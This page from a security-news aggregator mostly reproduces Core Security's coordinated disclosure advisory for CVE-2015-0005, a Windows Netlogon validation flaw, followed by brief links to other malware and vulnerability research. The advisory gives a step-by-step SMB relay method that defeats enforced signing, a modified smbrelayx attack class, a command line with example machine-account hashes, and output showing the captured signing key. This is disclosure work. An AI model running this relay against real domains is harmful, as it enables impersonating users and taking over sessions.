Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live

[CORE-2015-0005] - Windows Pass-Through Authentication Methods Improper Validation (At minimum an attacker can Perform SMB Relay attacks on domain environments where SMB Signing is enforced & Decrypt SMB3 sniffed communications

$
0
0
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

        Windows Pass-Through Authentication Methods Improper Validation



1. *Advisory Information*

        Title: Windows Pass-Through Authentication Methods Improper Validation
        Advisory ID: CORE-2015-0005
        Advisory URL: http://www.coresecurity.com/advisories/windows-pass-through-authentication-methods-improper-validation
        Date published: 2015-03-10
        Date of last update: 2015-03-10
        Vendors contacted: Microsoft
        Release mode: Coordinated release



2. *Vulnerability Information*

        Class: Permissions, Privileges, and Access Controls [CWE-264], Improper Authentication [CWE-287]
        Impact: Security bypass
        Remotely Exploitable: Yes
        Locally Exploitable: No
        CVE Name: CVE-2015-0005



3. *Vulnerability Description*


        The Microsoft [1] Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other
        things, for user and machine authentication on domain-based networks.



        In a scenario where a client machine connects to a domain-joined server, a pass-through authentication
        [2] must be performed in order for the server to verify the client's Credentials with the domain controller. This logon
        request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting
        the server to DC communication using a shared secret, commonly known as a server's machine account password.



        On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for
        cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB
        packets, and the keys needed for encryption/decryption of SMB sessions.



        Improper validation between the account used to secure the communication channel and the logon request data being
        sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not
        meant for them.



        At minimum this allows an attacker to:



        1) Perform SMB Relay attacks on domain environments where SMB Signing is enforced (workaround exists).



        2) Decrypt SMB3 sniffed communications (PoC not provided).



        Other venues of attack should be researched.



4. *Vulnerable Packages*

   . Windows Server 2003 Service Pack 2
   . Windows Server 2003 x64 Edition Service Pack 2
   . Windows Server 2003 with SP2 for Itanium-based Systems
   . Windows Server 2008 for 32-bit Systems with Service Pack 2
   . Windows Server 2008 for x64-based Systems with Service Pack 2
   . Windows Server 2008 for Itanium-based Systems Service Pack 2
   . Windows Server 2008 R2 for x64-based Systems Service Pack 1
   . Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
   . Windows Server 2012
   . Windows Server 2012 R2
   . Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
   . Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
   . Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
   . Windows Server 2012 (Server Core installation)
   . Windows Server 2012 R2 (Server Core installation)


        Versions or editions that are not listed are either past their support life cycle or are not affected.


5. *Vendor Information, Solutions and Workarounds*


        Based on Core Security's analysis, SPN validation could be a good countermeasure, but it depends on the type of
        MiTM mounted. It is worth mentioning, this attack only applies on a domain environment. Standalone servers are not
        prone to this type of attack if SMB signing is enabled.


        Microsoft posted the following Security Bulletin: [21]


6. *Credits*


        This vulnerability was discovered and researched by Alberto Solino from the Core Engeneering Team. The publication of
        this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.



7. *Technical Description / Proof of Concept Code*

        Pass-Through Authentication allows a domain-joined server machine to authenticate a domain user by forwarding the
        authentication material to the domain controller aiming at receiving a confirmation of the validity of those
        credentials, among with several information about the account trying to log in that allows the server machine to
        establish a session and serve resources to that user. In order to send and receive this information (through the
        NETLOGON [3] protocol), a secure channel must be established between the domain-joined server and the domain
        controller. This secure channel is built on top of a shared secret between the server and the DC, commonly known
        as a server's machine account password. Actually, the shared secret is not based on the server's machine account
        password but on the output of the LMOWFv1/NTOWFv1 [4] functions (a.k.a NTLM hashes).



        Once this channel is secured, the following NETLOGON methods are used for a Pass-Through Authentication:



        1) NetrLogonSamLogonEx


        2) NetrLogonSamLogonWithFlags


        3) NetrLogonSamLogon


        4) NetrLogonSamLogoff



        Let's take for example, the sequence of authenticating through the network a domain user against a domain-joined
        server, using the NTLM authentication package. The domain is called 2012R2:



        1) Client MACHINE-A wants to connect to domain-joined WINDOWS81 machine, with user 2012R2\USER3, using NTLM.



        2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM protocol is chosen as the authentication
        mechanism.



        3) The NTLM 3-way handshake begins [5]. This ends up with a NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81.



        4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it needs to verify them with the DC.



        5) WINDOWS81 has a trust relationship with the DC by means of WINDOWS81's computer account (let's call it
        WINDOWS81$). Using the NETLOGON protocol, WINDOWS81 calls NetrLogonSamLogonWithFlags() at the DC, specifying
        all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM Challenge set in previous packets. An example of
        such call is as follows:



/-----


      NetrLogonSamLogonWithFlags
      LogonServer:                     u'\x00'
      ComputerName:                    u'WINDOWS81\x00'
      Authenticator:
          Credential:
              Data:                            'f\xcd\x94]&\nz\x85'
          Timestamp:                       10
      ReturnAuthenticator:
          Credential:
        Data:                            '\x00\x00\x00\x00\x00\x00\x00\x00'
          Timestamp:                       0
      LogonLevel:                      NetlogonNetworkTransitiveInformation
      LogonInformation:
          tag:                             6
          LogonNetworkTransitive:
              Identity:
                  LogonDomainName:                 u'2012R2'
                  ParameterControl:                0
                  Reserved:
                      LowPart:                         0
                      HighPart:                        0
                  UserName:                        u'user3'
                  Workstation:                     u''
              LmChallenge:
                  Data:                            '\x1a\xab8\xa4.E\x98\xe3'
              NtChallengeResponse:             '\xd9\x94"\xd1C\xd9CT\xa3\x12\xac(\x97\xb2=\xd4\x01\x01\x00\x00\x00\x00\x00\x00N\x8b\xb3N\x1f\xc6\xcf
      \x01?9N\x1a\xe1\x1f\xfa-\x00\x00\x00\x00\x02\x00\x0c\x002\x000\x001\x002\x00R\x002\x00\x01\x00\x12\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001
      \x00\x04\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x03\x00.\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001\x00.
      \x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x05\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N
      \x00\x07\x00\x08\x00N\x8b\xb3N\x1f\xc6\xcf\x01\x06\x00\x04\x00\x02\x00\x00\x00\x08\x000\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00 \x00
      \x00\xac>qS+\x9a\xb9x\xbe\xa0\xec\xaa\x89475J\xea\xe1x\x83\xe6A]\xdf\x84%ky})\xe5\n\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
      \x00\x00\x00\t\x00&\x00c\x00i\x00f\x00s\x00/\x001\x009\x002\x00.\x001\x006\x008\x00.\x006\x006\x00.\x002\x004\x003\x00\x00\x00\x00\x00\x00\x00\x00
      \x00\x00\x00\x00\x00'
              LmChallengeResponse:             '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
      ValidationLevel:                 NetlogonValidationSamInfo4
      ExtraFlags:                      0


-----/


        6) DC receives the information, and since it has USER3 credentials, it can verify whether or not the credentials
        are valid. NetrLogonSamLogonWithFlags() returns STATUS_SUCCESS if so, otherwise it return an error.



        7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a NETLOGON_VALIDATION structure, which could end
        up being one of the following structures:



        a. NETLOGON_VALIDATION_SAM_INFO [6]


        b. NETLOGON_VALIDATION_SAM_INFO2 [7]


        c. NETLOGON_VALIDATION_SAM_INFO4 [8]


        The data inside those structures are needed by WINDOWS81 to further continue the session and share resources with USER3.



        An example of the data returned by NetrLogonSamLogonWithFlags() is shown below:



/-----


      NetrLogonSamLogonWithFlagsResponse
      ReturnAuthenticator:
          Credential:
              Data:                            '[\\\x85\xf2\x84@~\x17'
          Timestamp:                       0
      ValidationInformation:
          tag:                             6
          ValidationSam4:
              LogonTime:
                  LowPart:                         4069189522
                  HighPart:                        30393876
              LogoffTime:
                  LowPart:                         4294967295
                  HighPart:                        2147483647
              KickOffTime:
                  LowPart:                         4294967295
                  HighPart:                        2147483647
              PasswordLastSet:
                  LowPart:                         738500373
                  HighPart:                        30393272
              PasswordCanChange:
                  LowPart:                         1450073877
                  HighPart:                        30393473
              PasswordMustChange:
                  LowPart:                         4294967295
                  HighPart:                        2147483647
              EffectiveName:                   u'user3'
              FullName:                        NULL
              LogonScript:                     NULL
              ProfilePath:                     NULL
              HomeDirectory:                   NULL
              HomeDirectoryDrive:              NULL
              LogonCount:                      5
              BadPasswordCount:                0
              UserId:                          1113
              PrimaryGroupId:                  513
              GroupCount:                      2
              GroupIds:
                  [

                      RelativeId:                      512
                      Attributes:                      7 ,

                      RelativeId:                      513
                      Attributes:                      7 ,
                  ]
              UserFlags:                       2336
              UserSessionKey:
                  Data:                            '\xb1\x8eg\x91\xfdK\x9d\xd0\x12\x8b\x9f\x9e\x8e\x19\xe9"'
              LogonServer:                     u'2012R2DOMAIN-DC'
              LogonDomainName:                 u'2012R2'
              LogonDomainId:
                  Revision:                        1
                  SubAuthorityCount:               4
                  IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05'
                  SubAuthority:
                      [
                          21,
                          1456083388,
                          2901136423,
                          1501488623,
                      ]
              LMKey:                           '\xb1\x8eg\x91\xfdK\x9d\xd0'
              UserAccountControl:              528
              SubAuthStatus:                   0
              LastSuccessfulILogon:
                  LowPart:                         0
                  HighPart:                        0
                LastFailedILogon:
                  LowPart:                         0
                  HighPart:                        0
              FailedILogonCount:               0
              Reserved4:                       0
              SidCount:                        1
              ExtraSids:
                  [

                      Sid:
                          Revision:                        1
                          SubAuthorityCount:               5
                          IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05'
                          SubAuthority:
                              [
                                  21,
                                  1456083388,
                                  2901136423,
                                  1501488623,
                                  572,
                              ]
                      Attributes:                      536870919 ,
                  ]
              DnsLogonDomainName:              u'2012R2.DOMAIN'
              Upn:                             u'user3@2012R2.DOMAIN'
              ExpansionString1:                NULL
              ExpansionString2:                NULL
              ExpansionString3:                NULL
              ExpansionString4:                NULL
              ExpansionString5:                NULL
              ExpansionString6:                NULL
              ExpansionString7:                NULL
              ExpansionString8:                NULL
              ExpansionString9:                NULL
              ExpansionString10:               NULL
      Authoritative:                   1
      ExtraFlags:                      0
      ErrorCode:                       0


-----/


        As can be seen, there's a field called UserSessionKey. According to [9]:



        The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data structures SHOULD be exchanged ([MS-NRPC] sections
        2.2.1.4.5 and 2.2.1.4.13). The DC MUST populate the NETLOGON_VALIDATION_SAM_INFO4 with the information for the user
        logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and 3.3.2) in the UserSessionKey field in
        NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM server. If no matching account is found, an error
        STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server, resulting in a logon failure.'



        This SessionBaseKey is used as a base key for cryptographic operations between the client and server machine.
        Since the calculation of this key requires knowing the user's LMOWFv1/NTOWFv1, it makes sense the domain controller
        returning this data, since WINDOWS81 doesn't have the user's credentials.



        The SessionBaseKey is used, at least, to calculate the SMB Signing [10] and Encryption [11] keys.



        Up to this stage, this is the normal behavior when a server needs to authenticate a client with domain credentials.



        Based on [13] the NetrLogonSamLogonWithFlags's ComputerName parameter is defined as 'The Unicode string that
        contains the NetBIOS name of the client computer calling this method.' In theory, the ComputerName parameter and
        the machine account that established the NETLOGON session should be the same (except for the '$' sign).



        What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the
        authentication information being sent, was actually meant to the domain-joined machine that is requesting
        this operation (e.g. NetrLogonSamLogonWithFlags()).



        What this means is that any domain-joined machine can verify any pass-through authentication against the domain
        controller, and to get the base key for cryptographic operations for any session within the domain.



        As a proof of concept we developed the SMB Relay attack whenever SMB Signing is enforced within the domain.



        SMB Relay (actually NTLM Relay) has been well documented over the years, but in essence allows an attacker
        that manages to sit in the middle between a victim and a target server to impersonate the victim against the
        target server.



        One of the mitigations mentioned on several papers is the implementation of SMB Signing [14][15], since, in
        order to calculate the signing key, the attacker needs to have the user's password OWF (LMOWFv1 and/or NTOWFv1).



        To carry out this attack, we would need a machine account password (or NTLM hash) in order to interact
        with the domain controller through NETLOGON. Getting a machine account credential is not a complicated
        task if an attacker has either:



        1) Local Administrative access to one domain joined machine (several tools can dump the local SAM accounts [16]).



        2) A normal domain user (so it can perform a fake domain join).



        The high level flow would be as follows:



        Assumptions:



        1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called MACHINE-ACCOUNT hashes).



        2) We know the DC IP address or FQDN (called DC-MACHINE).



        3) We targeted a victim user (called USER-A), tricking him into connecting to our machine
        (ATTACKER-MACHINE) with his domain credentials.



        4) We want to authenticate ourselves with the USER-A credentials against a target machine (called TARGET-MACHINE).



        5) This domain environment enforces SMB Signing.


        The packet's flow would be like this:



        1) USER-A connects to ATTACKER-MACHINE, starts an SMB Connection.



        2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB Connection, and gets TARGET-MACHINE
        SMB_COM_NEGOTITATE response.



        3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to USER-A.



        4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the NTLM_NEGOTIATE packet.



        5) ATTACKER-MACHINE forwards the NTLM_NEGOTIATE packet to TARGET-MACHINE, and receives a NTLM_CHALLENGE.



        6) ATTACKER-MACHINE forwards the NTLM_CHALLENGE back to USER-A.



        7) USER-A sends a NTLM_AUTHENTICATE message to ATTACKER-MACHINE.



        8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to TARGET-MACHINE. If the answer is
        STATUS_SUCCESS, it means the credentials are valid.



        Up to here, this is a normal SMB Relay attack. The following steps are performed in order to acquire
        the SMB Signing key



        9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol, authenticating itself using
        MACHINE-ACCOUNT hashes.



        10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags() specifying the following information:



        a. ComputerName: TARGET-MACHINE



        b. ValidationLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4



        c. LogonLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonNetworkTransitiveInformation



        d. LogonNetworkTransitive/Identity/LogonDomainName: The domainname



        e. LogonNetworkTransitive/Identity/ParameterControl: 0



        f. LogonNetworkTransitive/Identity/UserName: USER-A



        g. LogonNetworkTransitive/Identity/Workstation: ''



        h. LogonNetworkTransitive/Identity/LmChallenge: The challenge field of the NTLM_CHALLENGE structure.



        i. LogonNetworkTransitive/Identity/NtChallengeResponse: the NtChallengeResponse from the NTLM_AUTHENTICATE structure.



        j. LogonNetworkTransitive/Identity/LmChallengeResponse: the LmChallengeResponse from the NTLM_AUTHENTICATE structure.



        11) The return of this call will contain a NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other
        things, the UserSessionKey. Depending on the negotiation flags, this could be the straight SMB Signing key, or
        an extra transformation should be made (calling generateEncryptedSessionKey()).



        12) Attacker now has a valid connection with TARGET-MACHINE, authenticated as USER-A, and now has the
        SMB Signing key needed to perform further SMB commands against TARGET-MACHINE.



7.1. *Proof of Concept*


        In order to test this attack the following infrastructure is needed:


        1) A domain controller, exporting the SYSVOL share to normal users (this is just for the PoC).
        Domain Name: TESTDOMAIN, Domain IP: 192.168.1.100.


        2) A domain joined machine, acting as the victim machine. A domain user must be logged on that machine.
        (IP: 192.168.1.220)


        3) An attackers machine, doesn't need to be joined to the domain. Since we will be performing the attack from this
        machine, we will need to bind to TCP port 445. Using a Unix machine would be the easiest way since on Windows this
        is harder. Attacker's Machine IP: 192.168.1.200


        4) A valid machine account name and NTLM hashes. Assuming it is:


        a. account name: TEST-MACHINE$


        b. NTHASH/LMHASH: aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db


        The machine NTLM hashes can be obtained by using any publicly available LSA secrets dump application.[10]


        5) The smbrelayx.py script [17] and the impacket library installed [18].


        6) Change smbrelayx.py doAttack() class to the following:



/-----

        class doAttack(Thread):
          def __init__(self, SMBClient, exeFile):
            Thread.__init__(self)
            self.SMBClient = SMBClient

          def run(self):
            # Here PUT YOUR CODE!
            from impacket.smbconnection import SMBConnection
            smbConnection = SMBConnection(existingConnection=self.SMBClient)
            files =  smbConnection.listPath('SYSVOL','\\*')
            print "EVIDENCE: SYSVOL's contents!"
            for file in files:
              print file.get_longname()
            smbConnection.logoff()

-----/


        Usage:


        From the attackers machine run:



/-----

      python smbrelayx.py -h 192.168.1.100 -e NOTHING -machine-account TESTDOMAIN/TEST-MACHINE\$ -machine-hashes aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db -domain 192.168.1.100

-----/


        From the victim's machine, with a valid domain user logged in, run from the command prompt:



/-----

      dir \\192.168.1.200\c$

-----/


        At the smbrelayx.py execution, you will see:



/-----


      Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies

      [*] Running in relay mode
      [*] Config file parsed
      [*] Setting up SMB Server
      [*] Servers started, waiting for connections
      [*] Incoming connection (192.168.1.220,58702)
      [*] SMBD: Received connection from 192.168.1.220, attacking target 192.168.1.100
      [*] Signature is REQUIRED on the other end, using NETLOGON approach
      [*] Connecting to 192.168.1.100 NETLOGON service
      [*] TESTDOMAIN\usera successfully validated through NETLOGON
      [*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b62404
      [*] Authenticating against 192.168.1.100 as TESTDOMAIN\usera SUCCEED
      [!] TreeConnectAndX not found C$
      [!] TreeConnectAndX not found C$
      EVIDENCE: SYSVOL's contents!
      .
      ..
      TESTDOMAIN

      ----


-----/


        If you want to perform more actions instead of just listing the SYSVOL contents, check the doAttack.run() method
        inside smbrelayx.py



8. *Report Timeline*

. 2014-05-27:
        Core Security sent the first notification to Microsoft, including a technical description
        and a Proof of Concept to reproduce the vulnerability. Publication date set to Jun 30, 2014.


. 2014-05-27:
        Microsoft assigns the tracking number 19179 and informs their team will be investigating
        our report.


. 2014-06-25:
        Core Security requested an update on the investigations and expressed we are still planning to release the
        advisory on June 30th.


. 2014-07-03:
        Core Security requested an update on the investigations and expressed we decided to postpone the release date
        from June 30th to July 10th giving additional time to reply back.


. 2014-07-07:
        Microsoft claims the issue has been publicly know since 2009 and the advisories
        [19] and [20].


. 2014-07-09:
        Microsoft informs that took another look to the issue and thinks there may be a bigger
        problem than just the NTLM as they previously stated. Requests to hold off the publishing
        of the advisory.


. 2014-07-15:
        Core Security insists that SMB Signing is not an effective way of mitigating this problem as
        demonstrated in the PoC sent in the original report. We inform we decided not to publish a
        advisory but we will write a blog post with the technical description.


. 2014-07-24:
        Core Security informed that we will publish the blog and related tools on August 4th, considering we didn't
        receive a reply.


. 2014-07-28:
        Microsoft informs they were able to reproduce the issue and are working on a fix. They request
        if possible to hold off CORE Security's publication.


. 2014-08-12:
        Core Security, considering their acknowledgment of the issue, will be publishing an advisory. Core Security
        requested a tentative ETA for making the advisory public.


. 2014-08-18:
        Microsoft informs they don't have an ETA but are working to define one. Microsoft request a draft of
        the advisory.


. 2014-08-20:
        Core Security informed Microsoft that will be sending them a draft copy of the Advisory next week.


. 2014-09-11:
        Core Security sent a draf version of the advisory.


. 2014-09-23:
        Core Security requested a reception confirmation of the draft version of the advisory.


. 2014-09-24:
        Microsoft confirms reception. They inform they are tentatively scheduling a December release.


. 2014-10-23:
        Core Security requested the specific date for releasing the fix in order to schedule the advisory
        accordingly.


. 2014-11-03:

        Microsoft informs that they are planning a January release but it could change if they find
        variants or run into issues on their test pass.


. 2014-11-05:
        Core Security requested the vendor that we would like to respect the original release date considering
        that the issue was originally reported on the 27 of May, 2014.


. 2014-11-10:
        Microsoft informs that they are expecting to ship the fix in January because they have other
        deployment priorities.


. 2014-12-16:
        Core Security requested the vendor a specific date for the release of the fix and we inform them that
        we are planning to release the advisory on Tuesday 13th of January, 2015.


. 2015-01-02:
        Microsoft informs that they are not going to meet the expectations for a fix in January because
        they require to fix the NETLOGON API, and during its application compatibility testing they
        identified a major service provider that is affected by their fix.


. 2015-02-24:
        Core Security requested the vendor an updated time frame for publishing the fix of the bug.


. 2015-02-27:
        Microsoft informs that they currently finalizing the final test pass and that they should have a
        concrete date for next week. At the moment they have it scheduled for March 10th, 2015. They
        request as well how we would lke to be credited in the Bulletin.


. 2015-03-02:
        Core Security informed them how we would like to be credited and requested them a daft copy of their
        Bulletin and a copy of the fix in order to make internal tests.


. 2015-03-02:
        Microsoft informs us that they cannot share packages early unless we are under NDA with them and
        in the SUVP program.


. 2015-03-03:
        Core Security informed them that we were disappointed by their response considering that we have been
        cooperating with them for more than 9 months and have disclosed higly confidential information
        with them. We informed them that we are going to publish the advisory on March 10th.


. 2015-03-09:
        Microsoft confirmed us that their Security Bulletin was going to be published March 10th, 10:00 AM EST.
        They requested Core Security to ckeck the acknowledgment they were going to use.


. 2015-03-09:
        Core Security thanked Microsoft for the information provided and informed them how the Advisory should be
        acknowledged. Core Security requested Microsoft a CVE ID, considering they are listed as a CVE Numbering
        Authority. Core Security sent them the link of were our advisory is going to be published.


. 2015-03-09:
        Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted them to link our Advisory in their
        acknowledgment.


. 2015-03-09:
        Core Security requested, that if possible, they could link our advisory in the acknowledgment.


2015-03-10:
        Advisory CORE-2015-0005 published.



9. *References*

[1] http://www.microsoft.com/.

[2] http://msdn.microsoft.com/en-us/library/cc237015.aspx.

[3] http://msdn.microsoft.com/en-us/library/cc237008.aspx.

[4] http://msdn.microsoft.com/en-us/library/gg604667.aspx.

[5] http://msdn.microsoft.com/en-us/library/cc236629.aspx.

[6] http://msdn.microsoft.com/es-co/cc237066.

[7] http://msdn.microsoft.com/es-co/cc237067.

[8] http://msdn.microsoft.com/en-us/library/cc237068.aspx.

[9] http://msdn.microsoft.com/en-us/library/cc223986.aspx.

[10] http://msdn.microsoft.com/en-us/library/cc246684.aspx.

[11] http://msdn.microsoft.com/en-us/library/ee441770.aspx.

[12] https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/impacket/dcerpc/v5/nrpc.py.

[13] https://msdn.microsoft.com/en-us/library/cc237250.aspx.

[14] http://blogs.technet.com/b/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx.

[15] http://technet.microsoft.com/en-us/library/cc512612.aspx.

[16] https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/examples/secretsdump.py.

[17] https://code.google.com/p/impacket/source/browse/trunk/examples/smbrelayx.py.

[18] https://code.google.com/p/impacket/.

[19] https://technet.microsoft.com/en-us/library/security/974926.aspx.

[20] https://technet.microsoft.com/en-us/library/security/973811.aspx.

[21] https://technet.microsoft.com/en-us/library/security/ms15-027.aspx.



10. *About CoreLabs*

      CoreLabs, the research center of Core Security, is charged with anticipating
      the future needs and requirements for information security technologies.
      We conduct our research in several important areas of computer security
      including system vulnerabilities, cyber attack planning and simulation,
      source code auditing, and cryptography. Our results include problem
      formalization, identification of vulnerabilities, novel solutions and
      prototypes for new technologies. CoreLabs regularly publishes security
      advisories, technical papers, project information and shared software
      tools for public use at:
      http://corelabs.coresecurity.com.



11. *About Core Security*


      Core Security enables organizations to get ahead of threats
      with security test and measurement solutions that continuously identify
      and demonstrate real-world exposures to their most critical assets. Our
      customers can gain real visibility into their security standing, real
      validation of their security controls, and real metrics to more
      effectively secure their organizations.



      Core Security's software solutions build on over a decade of trusted
      research and leading-edge threat expertise from the company's Security
      Consulting Services, CoreLabs and Engineering groups. Core Security
      can be reached at +1 (617) 399-6980 or on the Web at:
      http://www.coresecurity.com.



12. *Disclaimer*


      The contents of this advisory are copyright
      (c) 2015 Core Security and (c) 2015 CoreLabs,
      and are licensed under a Creative Commons
      Attribution Non-Commercial Share-Alike 3.0 (United States) License:
      http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. *PGP/GPG Keys*


      This advisory has been signed with the GPG key of Core Security advisories
      team, which is available for download at
      http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

CVE-2015-0096 issue patched today involves failed Stuxnet fix

$
0
0
In early January of 2015, researcher Michael Heerklotz approached ZDI with details of a critical vulnerability in the Microsoft Windows operating system. The vulnerability demonstrates that a security patch released by Microsoft in August 2010 does not, in fact, fix the CVE-2010-2568 .LNK issue first widely reported in Stuxnet – leaving all Windows machines vulnerable ever since.

more here.......http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/CVE-2015-0096-issue-patched-today-involves-failed-Stuxnet-fix/ba-p/6718402

Malicious Email Campaign Spreads Vawtrak Malware

$
0
0
Brad Duncan is a Security Researcher at Rackspace, where he investigates suspicious network activity. Reviewing alerts on blocked emails sent to Rackspace addresses, we occasionally discover malicious campaigns designed to spread malware. Our researchers investigate these leads to gather malware samples, identify threat actors, and determine other indicators of malicious activity. This blog entry discusses one such investigation here..........http://www.rackspace.com/blog/malicious-email-campaign-spreads-vawtrak-malware/

FastNetMon

$
0
0
FastNetMon - high performance DoS/DDoS and netflowk load analyzer builded on top of multiple packet capture engines (netmap, PF_RING, sFLOW, Netflow, PCAP).

What we do? We can detect hosts in our own network with big amount of packets per second/bytes per second or flow per second incoming or outgoing from certain host. And we can call external script which can send notify, switch off server or blackhole this client.

Why we write it? Because we can't find any software for solving this problem not in proprietary world not in open source.

more here..........https://github.com/FastVPSEestiOu/fastnetmon

Understanding Regin’s Plugin Framework: Part 2

$
0
0
This blog post is the second part of my two-part post on Regin’s Stage 4 (32-bit) dispatcher module. In this second part, I will discuss the Regin plugin framework hosted in the dispatcher module. I will also discuss how knowledge of Regin’s plugin framework can be used — and was used — to link a piece of malware to the Regin platform.

more here........http://securityintelligence.com/understanding-regins-plugin-framework-part-2/#.VP9_6_zF-So


Here is Part 1 for those who have yet to read it.......http://securityintelligence.com/reviving-the-regin-dispatcher-module-part-1/#.VP-BQfzF-So

Reverse

$
0
0
Reverse engineering for x86 binaries (elf-format). Generate a more readable code (pseudo-C) with colored syntax.

graph


more here.........https://github.com/joelpx/reverse

Injecting code into remote process

$
0
0
In this article, I want to talk about CreateRemoteThread function and how to use it in order to inject some code on a remote process.

more here..........http://www.tuxmealux.net/2015/03/10/code-injection/

Another round of image bugs: PNG and JPEG XR

$
0
0
Today's release of MS15-024 and MS15-029 addresses two more image-related memory disclosure vulnerabilities in Internet Explorer - this time, affecting the little-known JPEG XR format supported by this browser, plus the far more familiar PNG. Similarly to the previously discussed bugs in MSIE TIFF and JPEG parsing, and to the BMP, ICO, and GIF and JPEG DHT & SOS flaws in Firefox and Chrome, these two were found with afl-fuzz. The earlier posts have more context - today, just enjoy some pretty pics, showing subsequent renderings of the same JPEG XR image here.....http://lcamtuf.blogspot.com/2015/03/another-round-of-image-bugs-png-and.html

Dyre Using i2p: What you need to know

$
0
0
We've been tracking the release of new features in the Dyre password-stealing Trojan, and noticed a new behavior starting last month: The malware seems to be trying to connect to the anonymizing network known as i2p during the course of a typical infection.

more here.........https://www.bluecoat.com/security-blog/2015-03-10/dyre-using-i2p-what-you-need-know

SMS Trojan bypasses CAPTCHA

$
0
0
Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015.

The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.


more here.........http://securelist.com/analysis/publications/69169/sms-trojan-bypasses-captcha/

Inside the EquationDrug Espionage Platform

$
0
0
EquationDrug is one of the main espionage platforms used by the Equation Group, a highly sophisticated threat actor that has been engaged in multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996. (See full report here [PDF]).

EquationDrug, which is still in use, dates back to 2003, although the more modern GrayFish platform is being pushed to new victims.

It's important to note that EquationDrug is not just a Trojan, but a full espionage platform, which includes a framework for conducting cyberespionage activities by deploying specific modules on the machines of selected victims. The concept of a cyberespionage platform is neither new nor unique. Other threat actors known to use such sophisticated platforms include Regin and Epic Turla.


more here.........http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/

DroppedIn: Remotely Exploitable Vulnerability in the Dropbox SDK for Android

$
0
0
The IBM X-Force Application Security Research Team has discovered a vulnerability in the Dropbox SDK for Android (CVE-2014-8889) which allows attackers to connect applications on mobile devices to a Dropbox account controlled by the attacker without the victim’s knowledge or authorization. This is a serious flaw in the authentication mechanism within any Android app using a Dropbox SDK Version 1.5.4 through 1.6.1 (note: this vulnerability was resolved in Dropbox SDK for Android v1.6.2). The vulnerability can be exploited in two ways, using a malicious app installed on the user’s device or remotely using drive-by techniques. It cannot, however, be exploited if the Dropbox app is installed on the device (it does not even need to be configured, just installed).

more here............http://securityintelligence.com/droppedin-remotely-exploitable-vulnerability-in-the-dropbox-sdk-for-android/#.VQBM1_zF-So

Apple iOS Hardware Assisted Screenlock Bruteforce

$
0
0
We recently became aware of a device known as an IP Box that was being used in the phone repair markets to bruteforce the iOS screenlock. This obviously has huge security implications and naturally it was something we wanted to investigate and validate. For as little as £200 we were able to acquire one of these devices and put it to work.

